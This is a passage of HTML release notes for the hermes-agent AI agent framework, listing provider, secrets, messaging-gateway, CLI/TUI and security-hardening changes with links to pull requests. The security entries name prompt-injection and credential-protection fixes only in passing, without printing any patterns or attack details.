<li>xAI OAuth: honor <code>WKE=unauthenticated</code> disambiguator at both classifier sites. (<a href="https://github.com/NousResearch/hermes-agent/pull/30872" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30872/hovercard">#30872</a>)</li>
<li>xAI OAuth: accept bare-code manual paste (state=None). (closes <a href="https://github.com/NousResearch/hermes-agent/issues/26923" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/26923/hovercard">#26923</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33880" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33880/hovercard">#33880</a>)</li>
<li>xAI OAuth: fall back to manual paste on loopback timeout. (<a href="https://github.com/NousResearch/hermes-agent/pull/33231" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33231/hovercard">#33231</a>)</li>
<li>xAI proxy: handle 429 rate-limit responses in proxy retry path. (<a href="https://github.com/NousResearch/hermes-agent/pull/33743" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33743/hovercard">#33743</a>)</li>
</ul>
<h3>Other providers</h3>
<ul>
<li><strong>OpenAI API as a first-class provider</strong> (distinct from Codex runtime). (<a href="https://github.com/NousResearch/hermes-agent/pull/31898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31898/hovercard">#31898</a>)</li>
<li><strong>Microsoft Entra ID</strong> auth for Azure Foundry (with 1M Anthropic-Messages beta preserved on Bearer). (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/27509" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27509/hovercard">#27509</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/27022" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27022/hovercard">#27022</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/28101" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28101/hovercard">#28101</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28084" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28084/hovercard">#28084</a>)</li>
<li><strong>OpenRouter</strong> sticky routing — <code>session_id</code> passed via <code>extra_body</code> so a long-running session keeps landing on the same upstream provider. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Cybourgeoisie/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Cybourgeoisie">@Cybourgeoisie</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33939" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33939/hovercard">#33939</a>)</li>
<li>Nous: JWT token for inference; stop replaying invalid Nous refresh tokens. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rewbs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rewbs">@rewbs</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27663" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27663/hovercard">#27663</a>)</li>
<li>Nous Portal: one-shot setup, status CLI, and Nous-included markers. (<a href="https://github.com/NousResearch/hermes-agent/pull/30860" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30860/hovercard">#30860</a>)</li>
<li>Anthropic adapter: extract 7 helpers from <code>convert_messages_to_anthropic</code>. (salvage <a href="https://github.com/NousResearch/hermes-agent/pull/27784" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27784/hovercard">#27784</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30386" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30386/hovercard">#30386</a>)</li>
<li>Catalog: add <code>qwen3.7-max</code> to Alibaba + Alibaba-Coding-Plan model lists. (<a href="https://github.com/NousResearch/hermes-agent/pull/33129" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33129/hovercard">#33129</a>)</li>
<li>opencode-go: route <code>qwen3.7-max</code> via <code>anthropic_messages</code>. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/beardthelion/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/beardthelion">@beardthelion</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/32780" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32780/hovercard">#32780</a>)</li>
<li>opencode-go: expose Kimi K2 + DeepSeek reasoning controls. (<a href="https://github.com/NousResearch/hermes-agent/pull/30845" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30845/hovercard">#30845</a>)</li>
<li>Remove Vercel AI Gateway and Vercel Sandbox.</li>
<li>MiniMax OAuth: refresh short-lived access tokens per request. (<a href="https://github.com/NousResearch/hermes-agent/pull/30619" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30619/hovercard">#30619</a>)</li>
<li>Codex OAuth: quarantine terminal refresh errors. (<a href="https://github.com/NousResearch/hermes-agent/pull/28118" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28118/hovercard">#28118</a>)</li>
<li>Codex: drop dead model slugs that HTTP 400 on ChatGPT Pro. (<a href="https://github.com/NousResearch/hermes-agent/pull/33424" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33424/hovercard">#33424</a>)</li>
<li>Codex: sync <code>manual:device_code</code> pool entries on re-auth. (<a href="https://github.com/NousResearch/hermes-agent/pull/33744" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33744/hovercard">#33744</a>)</li>
<li>MiniMax OAuth: quarantine terminal refresh errors. (<a href="https://github.com/NousResearch/hermes-agent/pull/28119" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28119/hovercard">#28119</a>)</li>
</ul>
<hr>
<h2>🔑 Secrets</h2>
<ul>
<li><strong>Bitwarden Secrets Manager</strong> integration with lazy <code>bws</code> install. (<a href="https://github.com/NousResearch/hermes-agent/pull/30035" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30035/hovercard">#30035</a>)</li>
<li>Bitwarden: EU Cloud + self-hosted server URL support. (<a href="https://github.com/NousResearch/hermes-agent/pull/31378" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31378/hovercard">#31378</a>)</li>
<li>Label detected credentials with their source (Bitwarden). (<a href="https://github.com/NousResearch/hermes-agent/pull/30364" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30364/hovercard">#30364</a>)</li>
</ul>
<hr>
<h2>📱 Messaging Platforms (Gateway)</h2>
<h3>Gateway core</h3>
<ul>
<li><strong>Deliverable mode</strong> — agents ship artifacts as native uploads from any platform (Slack/Discord/Telegram/Teams/Email). (<a href="https://github.com/NousResearch/hermes-agent/pull/27813" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27813/hovercard">#27813</a>)</li>
<li><code>hermes send</code> — pipe any script's output to any messaging platform. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/19631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/19631/hovercard">#19631</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27188" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27188/hovercard">#27188</a>)</li>
<li>Debounce queued text follow-ups during active sessions. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/31235" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31235/hovercard">#31235</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/31341" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31341/hovercard">#31341</a>)</li>
<li>Plugin-transformed final_response delivered through streaming gate. (<a href="https://github.com/NousResearch/hermes-agent/pull/31433" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31433/hovercard">#31433</a>)</li>
<li>Refresh cached agent tools on <code>/reload-mcp</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/32815" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32815/hovercard">#32815</a>)</li>
<li>Harden kanban + provider cleanup races on long-running workloads. (<a href="https://github.com/NousResearch/hermes-agent/pull/29479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29479/hovercard">#29479</a>)</li>
</ul>
<h3>New / reorganized adapters</h3>
<ul>
<li><strong>ntfy</strong> — 23rd platform, push notifications, plugin shape, zero core edits. (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/30625" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30625/hovercard">#30625</a> → <a href="https://github.com/NousResearch/hermes-agent/pull/4043" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/4043/hovercard">#4043</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30867" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30867/hovercard">#30867</a>)</li>
<li><strong>Discord</strong> adapter migrated to bundled plugin. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/24356" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24356/hovercard">#24356</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30591" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30591/hovercard">#30591</a>)</li>
<li><strong>Mattermost</strong> adapter migrated to bundled plugin. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/30916" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30916/hovercard">#30916</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/31748" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31748/hovercard">#31748</a>)</li>
</ul>
<h3>Telegram</h3>
<ul>
<li>Edit status messages in place instead of appending. (based on <a href="https://github.com/NousResearch/hermes-agent/pull/30141" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30141/hovercard">#30141</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/qike-ms/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/qike-ms">@qike-ms</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30864" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30864/hovercard">#30864</a>)</li>
<li>Skip-STT audio path + 2GB cap via local Bot API server. (<a href="https://github.com/NousResearch/hermes-agent/pull/28541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28541/hovercard">#28541</a>)</li>
<li>Route image documents (.png/.jpg/.webp/.gif) through vision pipeline. (<a href="https://github.com/NousResearch/hermes-agent/pull/28519" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28519/hovercard">#28519</a>)</li>
<li>Route audio file attachments away from STT pipeline. (<a href="https://github.com/NousResearch/hermes-agent/pull/28478" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28478/hovercard">#28478</a>)</li>
<li><code>disable_topic_auto_rename</code> gateway flag. (<a href="https://github.com/NousResearch/hermes-agent/pull/28523" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28523/hovercard">#28523</a>)</li>
<li><code>ignore_root_dm</code> config to drop messages without thread_id. (<a href="https://github.com/NousResearch/hermes-agent/pull/28536" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28536/hovercard">#28536</a>)</li>
<li>Chat-scoped auth without sender user_id. (<a href="https://github.com/NousResearch/hermes-agent/pull/28525" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28525/hovercard">#28525</a>)</li>
<li>Fail-closed auth fallback when <code>TELEGRAM_ALLOWED_USERS</code> is empty. (<a href="https://github.com/NousResearch/hermes-agent/pull/28494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28494/hovercard">#28494</a>)</li>
<li>Roll over tool progress bubbles + scope audio_file_paths. (<a href="https://github.com/NousResearch/hermes-agent/pull/28482" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28482/hovercard">#28482</a>)</li>
<li>Avoid duplicate text after auto-TTS voice replies. (<a href="https://github.com/NousResearch/hermes-agent/pull/28509" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28509/hovercard">#28509</a>)</li>
<li>Mark final voice reply notify-worthy so Telegram delivers it audibly. (<a href="https://github.com/NousResearch/hermes-agent/pull/28504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28504/hovercard">#28504</a>)</li>
</ul>
<h3>Discord</h3>
<ul>
<li>Recover Windows voice opus decoding. (<a href="https://github.com/NousResearch/hermes-agent/pull/33182" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33182/hovercard">#33182</a>)</li>
<li><code>allow_any_attachment</code> config to accept arbitrary file types. (<a href="https://github.com/NousResearch/hermes-agent/pull/27245" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27245/hovercard">#27245</a>)</li>
<li>Transcribe native voice notes. (<a href="https://github.com/NousResearch/hermes-agent/pull/28993" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28993/hovercard">#28993</a>)</li>
<li>Define UI view classes after lazy install. (<a href="https://github.com/NousResearch/hermes-agent/pull/28817" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28817/hovercard">#28817</a>)</li>
</ul>
<h3>Signal / Matrix / Feishu / Slack / WeCom</h3>
<ul>
<li>Signal: <code>require_mention</code> filter for group chats. (<a href="https://github.com/NousResearch/hermes-agent/pull/28574" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28574/hovercard">#28574</a>)</li>
<li>Matrix: warn on clock-skew silent message drops. (<a href="https://github.com/NousResearch/hermes-agent/pull/27330" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27330/hovercard">#27330</a>)</li>
<li>Matrix E2EE installs full dep set; plugins respect <code>is_connected</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/31688" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31688/hovercard">#31688</a>)</li>
<li>Feishu: require webhook auth secret + honor config extras. (<a href="https://github.com/NousResearch/hermes-agent/pull/30746" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30746/hovercard">#30746</a>)</li>
<li>Feishu: enforce auth and chat binding for approval buttons. (<a href="https://github.com/NousResearch/hermes-agent/pull/30744" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30744/hovercard">#30744</a>)</li>
<li>Slack: socket recovery + Windows restart dedupe. (<a href="https://github.com/NousResearch/hermes-agent/pull/28873" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28873/hovercard">#28873</a>)</li>
<li>WeCom: safe-parse untrusted XML. (<a href="https://github.com/NousResearch/hermes-agent/pull/32442" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32442/hovercard">#32442</a>)</li>
</ul>
<h3>DingTalk / Webhooks / Microsoft Graph</h3>
<ul>
<li>DingTalk: transcribe native voice notes. (<a href="https://github.com/NousResearch/hermes-agent/pull/28993" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28993/hovercard">#28993</a>)</li>
<li>Webhook: enforce <code>INSECURE_NO_AUTH</code> safety rail on dynamic route reloads. (<a href="https://github.com/NousResearch/hermes-agent/pull/30863" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30863/hovercard">#30863</a>)</li>
<li>Webhook: restrict default toolset capabilities. (<a href="https://github.com/NousResearch/hermes-agent/pull/30745" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30745/hovercard">#30745</a>)</li>
<li>Microsoft Graph: harden webhook auth requirements. (<a href="https://github.com/NousResearch/hermes-agent/pull/30169" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30169/hovercard">#30169</a>)</li>
</ul>
<hr>
<h2>🖥️ CLI &amp; TUI</h2>
<h3>CLI</h3>
<ul>
<li><code>/update</code> slash command in CLI and TUI. (<a href="https://github.com/NousResearch/hermes-agent/pull/23854" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23854/hovercard">#23854</a>)</li>
<li>Update auto-rollback when post-pull syntax check fails. (<a href="https://github.com/NousResearch/hermes-agent/pull/28669" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28669/hovercard">#28669</a>)</li>
<li><code>--branch</code> flag for <code>hermes update</code>. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/29591" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29591/hovercard">#29591</a>)</li>
<li><code>/exit --delete</code> flag to remove session on quit. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/17665" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17665/hovercard">#17665</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27101" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27101/hovercard">#27101</a>)</li>
<li><code>▶ N</code> indicator in status bar for running <code>/background</code> tasks. (<a href="https://github.com/NousResearch/hermes-agent/pull/27175" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27175/hovercard">#27175</a>)</li>
<li>Live background terminal-process count in status bar. (<a href="https://github.com/NousResearch/hermes-agent/pull/32061" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32061/hovercard">#32061</a>)</li>
<li>Append session recap to <code>/status</code> output. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/18587" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/18587/hovercard">#18587</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27176" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27176/hovercard">#27176</a>)</li>
<li>Configurable paste-collapse thresholds (TUI + CLI). (salvage <a href="https://github.com/NousResearch/hermes-agent/pull/29723" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29723/hovercard">#29723</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/32087" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32087/hovercard">#32087</a>)</li>
<li><code>/resume</code> accepts position numbers. (<a href="https://github.com/NousResearch/hermes-agent/pull/31709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31709/hovercard">#31709</a>)</li>
<li>Bring tool-call display back — verbose mode, specific failure reasons, todo progress. (<a href="https://github.com/NousResearch/hermes-agent/pull/31293" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31293/hovercard">#31293</a>)</li>
<li>Validate runtime token refresh in Qwen auth status. (<a href="https://github.com/NousResearch/hermes-agent/pull/31196" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31196/hovercard">#31196</a>)</li>
</ul>
<h3>TUI</h3>
<ul>
<li><strong>TUI session orchestrator</strong> — multiple live sessions in one TUI window. (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/27642" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27642/hovercard">#27642</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/32980" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32980/hovercard">#32980</a>)</li>
<li><code>mouse_tracking</code> DEC mode presets. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/26681" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26681/hovercard">#26681</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30084" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30084/hovercard">#30084</a>)</li>
<li>Termux scrollback preservation + touch-friendly defaults. (<a href="https://github.com/NousResearch/hermes-agent/pull/28910" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28910/hovercard">#28910</a>)</li>
<li>Full assistant text in scrollback (no history truncation). (<a href="https://github.com/NousResearch/hermes-agent/pull/28829" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28829/hovercard">#28829</a>)</li>
<li>Preserve scrollback when branching sessions. (<a href="https://github.com/NousResearch/hermes-agent/pull/30162" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30162/hovercard">#30162</a>)</li>
<li>Preserve Python dunder identifiers in markdown. (<a href="https://github.com/NousResearch/hermes-agent/pull/28582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28582/hovercard">#28582</a>)</li>
<li>Active profile shown in TUI prompt. (<a href="https://github.com/NousResearch/hermes-agent/pull/28581" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28581/hovercard">#28581</a>)</li>
<li>Improve Charizard completion menu contrast. (<a href="https://github.com/NousResearch/hermes-agent/pull/28346" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28346/hovercard">#28346</a>)</li>
<li>Stop slash dropdown chopping last char of <code>/goal</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/31311" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31311/hovercard">#31311</a>)</li>
<li>Clipboard copy on linux/wayland. (<a href="https://github.com/NousResearch/hermes-agent/pull/29342" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29342/hovercard">#29342</a>)</li>
<li>Anchor <code>splitReasoning</code> unclosed-tag regex; stop eating last paragraph. (<a href="https://github.com/NousResearch/hermes-agent/pull/29426" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29426/hovercard">#29426</a>)</li>
<li>Surface verbose tool details. (<a href="https://github.com/NousResearch/hermes-agent/pull/30225" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30225/hovercard">#30225</a>)</li>
<li>Load Linux skills on Termux + salvage <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adybag14-cyber/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adybag14-cyber">@adybag14-cyber</a>'s Termux gates. (<a href="https://github.com/NousResearch/hermes-agent/pull/30166" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30166/hovercard">#30166</a>)</li>
<li>Handle images with codex app-server. (<a href="https://github.com/NousResearch/hermes-agent/pull/31220" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31220/hovercard">#31220</a>)</li>
<li>Refresh virtual transcript on viewport resize. (<a href="https://github.com/NousResearch/hermes-agent/pull/31077" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31077/hovercard">#31077</a>)</li>
<li>Ignore late thinking deltas after completion. (<a href="https://github.com/NousResearch/hermes-agent/pull/31055" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31055/hovercard">#31055</a>)</li>
<li>Commit composer input bursts immediately. (<a href="https://github.com/NousResearch/hermes-agent/pull/31053" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31053/hovercard">#31053</a>)</li>
<li>Log parent gateway lifecycle exits. (<a href="https://github.com/NousResearch/hermes-agent/pull/31051" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31051/hovercard">#31051</a>)</li>
<li>Clear TTS env var on voice off + TTS indicator in status bar. (<a href="https://github.com/NousResearch/hermes-agent/pull/30987" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30987/hovercard">#30987</a>)</li>
<li>Pass <code>--expose-gc</code> as node argv instead of NODE_OPTIONS. (<a href="https://github.com/NousResearch/hermes-agent/pull/29998" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29998/hovercard">#29998</a>)</li>
<li>Align composer cursorLayout with wrap-ansi to kill multiline cursor drift. (<a href="https://github.com/NousResearch/hermes-agent/pull/27489" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27489/hovercard">#27489</a>)</li>
<li>Harden Terminal.app rendering and color paths. (<a href="https://github.com/NousResearch/hermes-agent/pull/27251" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27251/hovercard">#27251</a>)</li>
<li>Keep <code>/goal</code> verdict out of compact status row. (<a href="https://github.com/NousResearch/hermes-agent/pull/27971" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27971/hovercard">#27971</a>)</li>
<li>Clamp curses color 8 for 8-color terminals (Docker). (<a href="https://github.com/NousResearch/hermes-agent/pull/30260" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30260/hovercard">#30260</a>)</li>
</ul>
<hr>
<h2>🔒 Security &amp; Reliability</h2>
<h3>Promptware &amp; memory hardening</h3>
<ul>
<li><strong>Promptware defense</strong> — shared threat patterns + memory load-time scan + tool-result delimiters. (<a href="https://github.com/NousResearch/hermes-agent/pull/32269" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32269/hovercard">#32269</a>)</li>
<li>Expand memory content scanning patterns to parity with skills guard. (<a href="https://github.com/NousResearch/hermes-agent/pull/9151" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/9151/hovercard">#9151</a>)</li>
<li>Harden Skills Guard multi-word prompt patterns. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/YLChen-007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/YLChen-007">@YLChen-007</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26852" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26852/hovercard">#26852</a>)</li>
<li>Split cron scanner so skill prose stops false-positiving exfil patterns. (<a href="https://github.com/NousResearch/hermes-agent/pull/32339" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32339/hovercard">#32339</a>)</li>
</ul>
<h3>File safety</h3>
<ul>
<li>Protect Hermes control-plane files from prompt injection (<code>auth.json</code>, <code>config.yaml</code>, <code>webhook_subscriptions.json</code>, <code>mcp-tokens/</code>). (salvages <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PratikRai0101/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PratikRai0101">@PratikRai0101</a>'s <a href="https://github.com/NousResearch/hermes-agent/pull/14157" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/14157/hovercard">#14157</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30397" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30397/hovercard">#30397</a>)</li>
<li>Write-deny <code>&lt;root&gt;/.env</code> when running under a profile. (<a href="https://github.com/NousResearch/hermes-agent/pull/29687" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29687/hovercard">#29687</a>)</li>
<li>Defense-in-depth read-deny on credential stores. (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/17659" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17659/hovercard">#17659</a> + <a href="https://github.com/NousResearch/hermes-agent/pull/8055" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/8055/hovercard">#8055</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30721" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30721/hovercard">#30721</a>)</li>
<li>TTS <code>output_path</code> traversal + update ZIP symlink reject. (salvage <a href="https://github.com/NousResearch/hermes-agent/pull/6693" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/6693/hovercard">#6693</a> + <a href="https://github.com/NousResearch/hermes-agent/pull/15881" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15881/hovercard">#15881</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/32056" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32056/hovercard">#32056</a>)</li>
<li>Reject symlinked audio inputs. (<a href="https://github.com/NousResearch/hermes-agent/pull/10082" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/10082/hovercard">#10082</a>)</li>
</ul>
